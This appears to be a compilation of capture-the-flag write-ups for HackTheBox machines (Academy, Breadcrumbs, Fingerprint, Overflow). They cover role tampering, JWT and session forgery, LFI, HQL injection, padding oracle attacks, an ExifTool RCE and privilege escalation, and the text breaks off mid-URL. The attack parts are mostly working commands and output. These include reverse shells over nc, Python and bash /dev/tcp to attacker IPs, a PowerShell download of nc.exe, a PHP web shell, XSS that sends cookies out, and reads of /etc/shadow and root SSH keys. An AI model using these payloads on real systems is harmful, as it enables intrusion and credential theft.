认证状态、JWT 与访问控制
认证缺陷经常出现在状态的生成、签名、传递和使用之间。本章以原案例对照角色字段、JWT 密钥来源、会话标识、ViewState 和填充侧信道。每个案例的请求、返回值与身份变化都可展开核查。
分析重点
Academy、Previse 的服务端权限判断与页面跳转各有边界,页面可见性和操作权限需要分别验证。
TheNotebook、Breadcrumbs、Fingerprint 的签名材料和角色字段不同,原载荷保留各自依赖。
Perspective 与 Overflow 分别记录 CBC 状态修改和 Padding Oracle,IV、块位置与响应差异应随原文阅读。
案例与技术索引
| 分析入口 | 实验来源 | 技术点 |
|---|---|---|
| 角色字段、框架密钥与审计日志 | academy | 访问控制、Laravel、凭据泄露、sudo |
| 文件读取、会话构造与本地凭据 | breadcrumbs | JWT、LFI、SQLite、逆向 |
| 多层认证与加密状态 | fingerprint | JWT、HQL、ECB、访问控制 |
| Padding Oracle 与任务身份 | overflow | Padding Oracle、ExifTool、逆向 |
| ViewState 密钥与 CBC 状态 | Perspective | ViewState、CBC、XSS |
| 响应跳转与真实服务端授权 | previse | 访问控制、命令注入、PATH |
| JWT 的签名密钥来源与管理员声明 | TheNotebook | JWT、访问控制、容器逃逸 |
角色字段、框架密钥与审计日志
注册请求中的 roleid 改变权限边界,随后由 Laravel 配置与审计日志恢复凭据,再经 composer 的 sudo 权限完成提权。三个阶段分别保留了请求、编码还原和执行记录。
来源 academy · 原记录 2020-11-14 · 15 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Easy
Points: 20
Release: 07 Nov 2020
IP: 10.10.10.215
User Blood snowscan 00 days, 00 hours, 21 mins, 04 seconds.
Root Blood jkr 00 days, 00 hours, 47 mins, 31 seconds.
information gathering
first use nmap as usaul
1 | root@kali:~/hackthebox/machine/academy# nmap -sV -p- -v --min-rate=10000 10.10.10.215 |
add 10.10.10.215 academy.htb to /etc/hosts
Let’s go to register page.
Before click on register page let’s capture this request in burpsuite.
There is a role id.
Let’s change it to 1 and forward the request.
Let’s go and login in the wepsite.
There is so many courses.
now use gobuster.
1 | root@kali:~/hackthebox/machine/academy# gobuster dir -u http://academy.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50 -x php |
There is a admin.php let’s go to this directory real quick.
login in with the same credentials which we use in login.php.
there is a academy launch pannel.
But we find another sub-domain dev-staging-01.academy.htb.
Let’s add this in our /etc/hosts file.
Let’s to to that sub-domain.
find two useful thing.
1 | 1. app_name = Laravel |
search on google that there is any exploit of Laravel and i found one.
- PHP Laravel Framework token Unserialize Remote Command Execution
the rapid7 website tell how to exploit it with metasploit.
1 | msf5 > use exploit/unix/http/laravel_token_unserialize_exec |
Now it’s time to run the exploit.
then got a reverse shell,Without wasting time i use python3 tty shell to be a stable shell.
1 | msf5 exploit(unix/http/laravel_token_unserialize_exec) > run |
it’s time for enumeration, found an interesting file .env inside /var/www/html/academy.
1 | www-data@academy:/var/www/html/academy$ ls -la |
found the password mySup3rP4s5w0rd!!
remember that we found two username on webserver.
1 | omplete initial set of modules (cry0l1t3 / mrb3n) |
Let’s try this one by one real quick.
1 | www-data@academy:/var/www/html/academy$ su cry0l1t3 |
and we successed, got the user.txt
Privilege escalation
Before going to our privilege escalation let’s change our shell with ssh.
1 | root@kali:~/hackthebox/machine/academy# ssh cry0l1t3@10.10.10.215 |
Found interesting file called audit.log.3 inside /var/log/audit.
But it’s a very large log file so we need to hit and try with su,TTY,pass,user with grep.
1 | $ cd /var/log/audit |
And i found a su command with some data encoded with hex.
Let’s try to decrept this. i use hex to ASCII converter.
1 | comm="su" data=6D7262336E5F41634064336D79210A |
we found the password called mrb3n_Ac@d3my!.
Let’s try this with username which we find on web server.
1 | $ su mrb3n |
we got the mrb3n privilege.
Let’s try sudo-l real quick.
1 | $ sudo -l |
We use sudo command with composer.
- composer
Let’s try the command which gtfo bins telling.
1 | TF=$(mktemp -d) |
And we pwned it … and got root.txt
1 | $ TF=$(mktemp -d) |
Summary of knowledge
- change role id to get higher privilege
- PHP Laravel Framework token Unserialize Remote Command Execution
- DB_PASSWORD leak in .env file
- hex to ASCII converter the su password in /var/log/audit/audit.log.3
- GTFOBins composer privilege esclation
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
文件读取、会话构造与本地凭据
文件读取暴露会话生成逻辑,PHPSESSID 与 JWT 的组合影响上传权限。后续保留 Sticky Notes SQLite、二进制分析、端口转发和数据库分支。
来源 breadcrumbs · 原记录 2021-02-23 · 31 个代码块 · 7 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Windows
Difficulty: Hard
Points: 40
Release: 20 Feb 2021
IP: 10.10.10.228
information gathering
first use nmap as usaul
1 | ┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs] |
Description
Lfi on books page by and making a post request to search a book, change request and change method variable to 1 and remove title and author and replace with book
1 | POST /includes/bookController.php HTTP/1.1 |
Use read files
Find secret key for tokens and php for how cookie are made by looking at files for the portal sign
Read code for cookie. The phpsessid is created by md5 hashing string that has a random letter from the users name
1 | POST /includes/bookController.php HTTP/1.1 |
response
1 | "<?php\r\n\/**\r\n * @param string $username Username requesting session cookie\r\n * \r\n * @return string $session_cookie Returns the generated cookie\r\n * \r\n * @devteam\r\n * Please DO NOT use default PHPSESSID; our security team says they are predictable.\r\n * CHANGE SECOND PART OF MD5 KEY EVERY WEEK\r\n * *\/\r\nfunction makesession($username){\r\n $max = strlen($username) - 1;\r\n $seed = rand(0, $max);\r\n $key = \"s4lTy_stR1nG_\".$username[$seed].\"(!528.\/9890\";\r\n $session_cookie = $username.md5($key);\r\n\r\n return $session_cookie;\r\n}" |
Get Paul phpsessid
1 | paul47200b180ccd6835d25d034eeb6e6390 |
get secret key
1 | POST /includes/bookController.php HTTP/1.1 |
got secret key in response
1 | $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e'; |
create a new jwt token using the secret key you found now token is
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU |
Login portal with a random account, edit your cookies with the tokens refresh
Now Paul
get user
Go to file management and upload a php script in a file (maybe like reverseshell.html) and intercept with burpsuite and change the .zip at the bottom to .php if not work out title and author in like valid book http://10.10.10.228/books
due to upload button not working, view the following page to makeup file upload request package by yourself.
1 | http://10.10.10.228/portal/assets/js/files.js |
1 | POST /portal/includes/fileController.php HTTP/1.1 |
responese
1 | HTTP/1.1 200 OK |
now change the phpinfo() to the following, and add html garbage data above to get a shell
1 | <?php |
go to http://10.10.10.228/portal/uploads can execute your file and now command execution
1 | http://10.10.10.228/portal/uploads/luci.php?cmd=systeminfo |
now use nc to get a shell:
download nc:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs] |
1 | http://10.10.10.228/portal/uploads/luci.php?cmd=powershell%20(new-object%20Net.WebClient).DownloadFile(%27http://10.10.14.12/nc.exe%27,%27C:\\Users\\www-data\\Desktop\\xampp\\htdocs\\portal\\uploads\\nc.exe%27) |
then get a reverse shell
1 | http://10.10.10.228/portal/uploads/luci.php?cmd=nc.exe%2010.10.14.12%203221%20-e%20c:\windows\system32\cmd.exe |
1 | ┌──(root💀kali)-[~] |
Look through folders and find a Juliette
Password
1 | C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>type juliette.json |
Ssh the box, and got user flag
1 | ┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs] |
get administrator
1 | juliette@BREADCRUMBS C:\Users\juliette\Desktop>type todo.html |
now need development user
Go to the location on windows where sticky notes are and download the
plum.sqlite
plum.sqlite-shm
plum.sqlite-wal
1 | juliette@BREADCRUMBS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState>dir |
you can use msf to get a rev shell to download files,
Open sql (I copied back to my box using SMB)
Get all notes then ssh as development with password in note
1 | juliette: jUli901./())! |
Development
Go to C:\Development
There Linux binary
has useful information inside
1 | development@BREADCRUMBS C:\Users\development>cd C:\Development |
Krypter_Linux
ida open Krypter_Linux
Inside there is command and you can see what it does when on box you do
1 | PS C:\Development> curl 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' -UseBasicParsing |
Gets aes key but can do sqlmaps through the url but port forward so you can do on kali
1 | ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228 |
Run sqlmaps with flag –dump against
1 | sqlmap -u http://127.0.0.1:1234/index.php\?method\=select\&username\=administrator\&table\=passwords --dump |
gives out put string
1 | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
With a key
1 | k19D193j.<19391( |
Base 64 decode string
After base 64 decrypt do aes decrypt
Use cyberchef with input and output mode raw
Key in Latin and IV in hex (iv =0000000000000000)
go to following cyberchef url:
1 | https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',false)AES_Decrypt(%7B'option':'Latin1','string':'k19D193j.%3C19391('%7D,%7B'option':'Hex','string':'0000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':'undefined'%7D)&input=SDJkRnovak53dFNUV0RVUm90OUpCaFdNUDZYT2RtY3BncXZZSEczNVFLdz0 |
and finally get administrator’s password:
1 | p@ssw0rd!@#$9890./ |
then get the root flag:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs] |
Summary of knowledge
- LFI
- phpsessid and jwt token forge
- makeup file upload request package bypass upload restriction
- .sqlite leak password
- ida analyse binary file
- port forwarding
- sqlmap dump secrets
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
多层认证与加密状态
LFI、auth_secondary、JWT 和 HQL 共同构成认证链。AES-ECB 下的用户标识构造与 SUID 文件读取分支保留完整脚本和前提。
来源 fingerprint · 原记录 2022-02-03 · 46 个代码块 · 6 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Insane
Points: 50
Release: 04 Dec 2021
IP: 10.10.11.127
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
We have a couple interesting ports, both HTTP ports seem to be security applications. One for a python program called “mylog” and the other for “secAuth”:
Both sites require logins to use most of their functions. Instead we can start looking into what both of these are doing. As expected, this first server is a python server:
1 | http://fingerprint.htb/ |
The second is unusual, it’s a glassfish server which I’ve never seen before:
1 | http://fingerprint.htb:8080/ |
We only really have /login and /admin on the first site, the second site has a few more directories to work with:
We can start fuzzing general exploits and eventually find LFI in /admin/view which let’s view files. There’s some interesting usernames that could lead us to a potential foothold, such as flask. If we look into his home directory, we see the web-app’s source code. We can request the database that contains the user information and see if we can get a login:
1 | GET /admin/view/../../../../../../../../../../../../../../../../home/flask/app/users.db HTTP/1.1 |
This seems to contain a password:
1 | admin:u_will_never_guess_this_password |
We can grab app.py and see we have access to the config password:
1 | from flask import Flask, redirect, request, render_template, session, g, url_for, send_file, make_response |
1 | SjG$g5VZ(vHC;M2Xc/2~z( |
We also have the source code used to check authentication:
1 | import sqlite3 |
We can check how SQL is made “safe” by grabbing it from the util file:
1 | def build_safe_sql_where(m): |
Foothold
We can look back to the creds we found earlier from users.db and sign in as the admin. We have auth.log which is available to us and reflects sign in attempts on port 8080. We can easily get XSS using a simple payload and it gets reflected back to us via the log file:
The log file clears every minute or so. We can try PHP payloads instead however they don’t seem to be executed. (It’s a flask app so it won’t use PHP). We can go back to looking at app.py and see that any logs from localhost are filtered out so we may not be able to see execution regardless. Capturing it in burp also shows us something else interesting:
1 | uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src=%3d"http%3a//fingerprint.htb%3a8080//resources/js/login.js"></script> |
After submitting this, we see there’s reference to a FingerprintID() function:
1 | document.getElementById("auth_secondary").value = getFingerPrintID() |
We can go to login.js and see the source code for this function:
1 | function getFingerPrintID() { |
We can see that fingerprint is made up of a huge amount of information from the person navigating to the page then MD5 hashed. The MD5 hasing function can be seen at the top of the page:
1 | var MD5 = function (d) { |
It makes reference to a load of sub functions. We can copy this over to our local machine and reuse it to steal the admin’s fingerprint. We can create the following:
1 | var MD5 = function (d) { |
We can put this into a login.js file of our own and include it onto the page using:
1 | <script src="http://10.10.14.25:8000/login.js"></script> |
Our final request is:
1 | uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src%3d"http%3a//10.10.14.25%3a8000/login.js"></script> |
We can get the fingerprint of the admin:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
Next is to actually get logged in, we don’t have a username or password however can look into the docs of glassfish and see that it uses HQL (Not SQL) and try HQLi:
1 | '962f4a03aa7ebc0515734cf398b0ccd6' |
After my query, I get the following error:
1 | org.hibernate.exception.JDBCConnectionException: Unable to acquire JDBC Connection |
We can look through some resources online and find a general payload syntax:
- Hibernate Query Language Injection
We can try using a logical query and bypass the parts of the query that we don’t know:
1 | uid=x' OR SUBSTRING(username,1,1)='m' and ''='&auth_primary=x&auth_secondary=962f4a03aa7ebc0515734cf398b0ccd6 |
We’re finally in however still no shell, we probably need another exploit. We can see there’s a file upload function on the main page, all files that are uploaded get placed in /images
This doesn’t get us particularly far. What’s more interesting is our cookie:
1 | Cookie: JSESSIONID=fb8c54276d03b86ceee7d0244dcb; user=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFDMjFwWTJobFlXd3hNak0xIn0.6dfequ2JzMYm2A6wgo6SU_pJWzWgqmGaChbRiXiEgTw |
We can decode this and see there’s a serialized object:
1 | sr!com.admin.security.src.model.User s_k I idL fingerprintt Ljava/lang/String;L passwordq~ L usernameq~ xp t@7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6t LWg7gUR1EmX7UNxsJxqZt micheal1235 |
I didn’t have much luck with serialization. Instead we think back to /backups and see if there’s any useful java files. We can bruteforce them and find Profile.java and User.java:
1 | // http://fingerprint.htb:8080/backups/Profile.java |
1 | // http://fingerprint.htb:8080/backups/User.java |
We can see where our session is going to be written, in our case it’d be in micheal1235.ser however we want a session in admin.ser. We can do this be unserializing our current cookie value, changing ourselves to admin then re-serializing. Below is a convenient script made by sakertooth (https://github.com/sakertooth?tab=repositories):
1 | package com.admin.security.src.model; |
The output of which is:
1 | User successfully deserialized: |
We can resign our cookie using the secret from earlier: SjG$g5VZ(vHC;M2Xc/2~z(. After doing so, we have access to “recent logs”:
User own
Finally, we’re getting somewhere. The actual log feature isn’t useful as we already have access and know it’s vulnerable to XSS. Instead, we can continue with the serialization idea and attempt to get a reverse shell. We’ll save our admin cookie for now just in case:
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFCV0ZrYldsdSJ9.lPDqZy7OX9cBclkxmK9gAx4SWiad_YFrjezvJO1apCA |
We can repurpose the script (now knowing it works) to overwrite the username and perform RCE:
1 | import com.admin.security.src.model.User; |
We can generate a reverse shell and update the script to use this:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
We should then get a reverse shell. We see there’s a SUID binary available to us. Our goal here is to retrieve a id_rsa key for SSH using it, below is Yuma’s script for it (https://gist.github.com/Yuma-Tsushima07):
1 | import os, sys |
We do get a use-able key (with the name John), however we still need a password. Doing some source code analysis leads us to the existing java classes. One of which has a hibernate password commented out:
1 | // 69: ldc 'hibernate.connection.username' |
Using this, we can get a shell.
Root own
We have a few backups, the one one was have access to is flask-app-secure.bak, we can copy this over to our local machine and enumerate it:
1 | scp -i id_rsa john@fingerprint.htb:/var/backups/flask-app-secure.bak ./ |
We can look at the improvement notes and see that this is likely going to be crypto:
1 | [x] fixed access control flaw |
There is a custom encryption in place that we need to try crack. There is a service running on port 8080 which is likely this flask app, we can forward this to ourselves too:
1 | ssh -L 8080:localhost:8080 -i id_rsa john@fingerprint.htb |
Look familiar? It’s the same app before just using a different authentication method. We can re-use the XSS from before and see if we can get the box to connect back to us.
1 | <script>document.location%3d"http%3a//10.10.14.25%3a81/"%2bdocument.cookie</script> |
We get the following:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
This does appear to be static so we don’t have much to worry about. It appears to be using AES-ECB:
Here are the functions for this:
1 | SECRET = "password" |
We can forward localhost:8088 to ourselves from the target box and see if we can attack this:
1 | ssh -L 8088:localhost:8088 -i id_rsa john@fingerprint.htb |
1 | import requests |
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
yes, we did…
After using this, we can try retrieve a working cookie to give ourselves access to the admin portal:
1 | import requests |
Running the script, I get the following:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
Finally, we reuse our LFI to geet root’s flag:
1 | GET /admin/view/../../etc/shadow HTTP/1.1 |
1 | root:$6$majc7QP4$VMJpElFyLIyyBoq4QFLBGkuY0q9BrThALCyM54jGim.gJQlOsVUBI5nmu70LNV1FV2GxiyqbpzMkFk/x9ahgc1:18928:0:99999:7::: |
and get root’s ssh key
1 | GET /admin/view/../../root/.ssh/id_rsa HTTP/1.1 |
and we can get both user and root flag:
1 | ┌──(root💀kali)-[~/hackthebox/machine/Fingerprint] |
Summary of knowledge
- LFI read users.db file
- xss steal admin’s auth_secondary param
- decode jwt cookie and then forge
- Hibernate Query Language Injection bypass login
- RCE via forged jwt cookie to get a reverse shell
- py script extract id_rsa key through SUID binary
- java classes has a hibernate password commented out
- forge admin’s user_id through custom AES-ECB script
- LFI reuse to get root’s flag and root’s ssh key
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
Padding Oracle 与任务身份
认证 cookie 的填充侧信道连接管理面,ExifTool 和数据库凭据进一步到本地用户。cron 和 file_encrypt 的逆向材料保留在后半段。
来源 overflow · 原记录 2022-03-11 · 26 个代码块 · 6 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Hard
Points: 40
Release: 23 Oct 2021
IP: 10.10.11.119
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/overflow] |
If you do a nmap scan against the box ip, you will find three ports open 22, 25 and 80.
80 - http
Go to http://10.10.11.119/ and you will see a website.
Go to http://10.10.11.119/register.php and register for an account. And then login with those created credentials.
In the homepage, do inspect and go to Storage. There, you will find a cookie which is vulnerable to oracle padding attack.
1 | Cookie: auth=EchgxUSqB7AMH7COmJfenPjpe0%2BDlJRZ |
Clone this repo PadBuster to your machine.
or just run:
1 | apt-get install padbuster |
To exploit it, run it like below:
1 | padbuster http://10.10.11.119 EchgxUSqB7AMH7COmJfenPjpe0%2BDlJRZ 8 -cookie auth=EchgxUSqB7AMH7COmJfenPjpe0%2BDlJRZ -plaintext user=admin |
You will get the admin cookie: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA Change the cookie with this cookie and you will get admin access.
There is sqli vulnerability if you go to
1 | http://10.10.11.119/home/logs.php?name=admin |
Open burpsuite and capture the request, send it to repeater and copy it to a file to perform sqlmap.
1 | GET /home/logs.php?name=admin HTTP/1.1 |
You will find three databases:
1 | ┌──(root💀kali)-[~/hackthebox/machine/overflow] |
If you go through Overflow and cmsmsdb database, you will find there is a subdomain named devbuild-job.overflow.htb.
Go to /etc/hosts file
Now, go to http://devbuild-job.overflow.htb/ and you will see a webpage:
If you go to /home/profile, you can bypass the login.
1 | http://devbuild-job.overflow.htb/home/profile/ |
This Upload Resume option is using exiftool which is vulnerable to Remote Code Execution.
To fetch the working POC, clone this repo CVE-2021-22204-exiftool.
Then run the below command:
1 | apt install djvulibre-bin exiftool |
Now inside that repo, you will find a python script named exploit.py. Open that file and edit the ip and port to your choice in which you will have to listen for a reverse shell.
Start your netcat listener!
Run the exploit.py file and it will create a malicious image.jpg in the current directory.
Now upload that image.jpg into the resume and you will get a reverse shell back.
1 | ┌──(root💀kali)-[~/CVE-2021-22204-exiftool] |
To make it a better tty shell, do the following:
- python3 -c “import pty; pty.spawn(‘/bin/bash’)”
- Ctrl + Z
- stty raw -echo;fg
- reset
- screen
- export TERM=xterm
but we can’t read user flag directly
1 | www-data@overflow:/home$ cat tester/user.txt |
SSH as developer Now, if you go to /var/www/html/config, you will find a file named db.php.
1 | www-data@overflow:/home$ cat /var/www/html/config/db.php |
Now you can ssh as developer with password: sh@tim@n
1 | ┌──(root💀kali)-[~/hackthebox/machine/overflow] |
Access as tester user
Now, go to /opt folder, you will see a file named commontask.sh which is running every minute.
1 | $ cat /opt/commontask.sh |
To exploit it, you will have to create a task.sh file in your local machine which contains a bash tcp reverse shell.
And on the overflow box, you will have to edit the /etc/hosts.
You are a member of the network group that’s why you can edit the /etc/hosts file.
First, do the below:
Create a task.sh file in your machine’s current directory.
1 | bash -i >& /dev/tcp/10.10.14.23/9001 0>&1 |
Now, start a python webserver at port 80.
1 | ┌──(root💀kali)-[~/hackthebox/machine/overflow] |
Setup a netcat listener on port 9001.
Now, in developer’s session, do the following:
1 | $ echo '10.10.14.23 taskmanage.overflow.htb' > /etc/hosts |
On your listener, you will get a shell as the tester user.
1 | ┌──(root💀kali)-[~/hackthebox/machine/overflow] |
tester -> root user
To get root in this machine, you will need an extra terminal as the tester user. Please follow the above steps for that.
On one terminal, go to /opt/file_encrypt and you will find an elf binary named file_encrypt.
Also, create a file in tester home directory like below:
1 | tester@overflow:/opt/file_encrypt$ file file_encrypt |
Execute the binary, you will be asked to enter a pin:
Pin is -202976456
Put this pin and you will asked to enter name:
In name, enter this: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Then, you will be asked to enter input file:
Enter the file which you created in the tester home directory.
Enter Input File: /home/tester/luci
You will be prompted to enter the encrypted file. Now you have to be very fast on it.
On other terminal, go to tester home directory and put this command but don’t execute it:
1 | rm luci; ln -s /root/root.txt luci |
Now after entering the encrypted file, go to the other terminal and execute the above command. You have to be very fast on it. Because you get at least 3 seconds.
1 | tester@overflow:~$ /opt/file_encrypt/file_encrypt |
1 | ┌──(root💀kali)-[~] |
Copy this and go to https://gchq.github.io/CyberChef/
Follow the steps and you will get the root.txt!
1 | https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'0x9b'%7D,'Standard',false)&input=ZmZmOGFhYThhYWFkYWVhOGEzYTNhZWZmYWVmZWFjYThhYWEzZjlmOGFkZmFmZGE4ZmRmZGY4YThhMmE4YWFhYjkx |
get the root hash
1 | tester@overflow:~$ xxd -p out |
1 | https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'0x9b'%7D,'Standard',false)&input=ZTlmNGY0ZWZhMWJmYWRiZmZhZTJmY2RhY2ViNWY1ZmZiZmY4ZGVjZmNmYTJlZGZhZWVlMmFiZDljZGYxZWZjM2RmYWNjY2MxY2FlMWYxZjVmZWEzZDBlMWVlY2JkZGRhYzNmNmZjY2NmNGRlZDlkZmQ1YWVmOGY4YjRmN2VjZDFhOWQxZWRlY2Y1ZWFjMWNmY2VjMmVmZTJmOGFhZmRlM2VkYzNlZGNlYzlkOWFjZjJkZmRhZTFmOWZjZWNlOWI1ZmNmM2NiYWRlOWUzYjRhMWFhYTNhY2FjYTNhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZmZmYWZlZjZmNGY1YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmOWYyZjVhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWU4ZTJlOGExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZThlMmY1ZjhhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWZjZmFmNmZlZThhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWY2ZmFmNWExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjdlYmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjZmYWYyZjdhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWY1ZmVlY2U4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlZWVlZjhlYmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZWJlOWY0ZTNlMmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZWNlY2VjYjZmZmZhZWZmYWExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjlmYWY4ZjBlZWViYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmN2YyZThlZmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjJlOWY4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmY2Y1ZmFlZmU4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmNWY0ZjlmNGZmZTJhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWU4ZTJlOGVmZmVmNmZmYjZmNWZlZWZlY2Y0ZTlmMGExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZThlMmU4ZWZmZWY2ZmZiNmU5ZmVlOGY0ZjdlZGZlYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlOGUyZThmN2Y0ZmNhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWY2ZmVlOGU4ZmFmY2ZlZjllZWU4YTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFjNGZhZWJlZmExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjdlM2ZmYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlZWVlZjJmZmZmYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFmZmY1ZThmNmZhZThlYWExYjFhMWFhYTNhY2FkYWZhMWFiYTFhMmEyYTJhMmEyYTFhY2ExYTFhMTkxZjdmYWY1ZmZlOGY4ZmFlYmZlYTFiMWExYWFhM2FjYWRhZmExYWJhMWEyYTJhMmEyYTJhMWFjYTFhMWExOTFlYmY0ZjdmN2YyZjVmYWVmZmVhMWIxYTFhYWEzYWNhZGFmYTFhYmExYTJhMmEyYTJhMmExYWNhMWExYTE5MWVmZmVlOGVmZmVlOWExYmZhZGJmZTNkMGI1ZDhlZGE5ZmRmNWJmZGRjOGFkZDljZGVjZDVkY2QyZmNkN2UzZDZhMmQ3ZDBmZWMxY2RjZGQ4Y2JkZWUzZThjM2VlZDBkZWFmY2RlZmViZ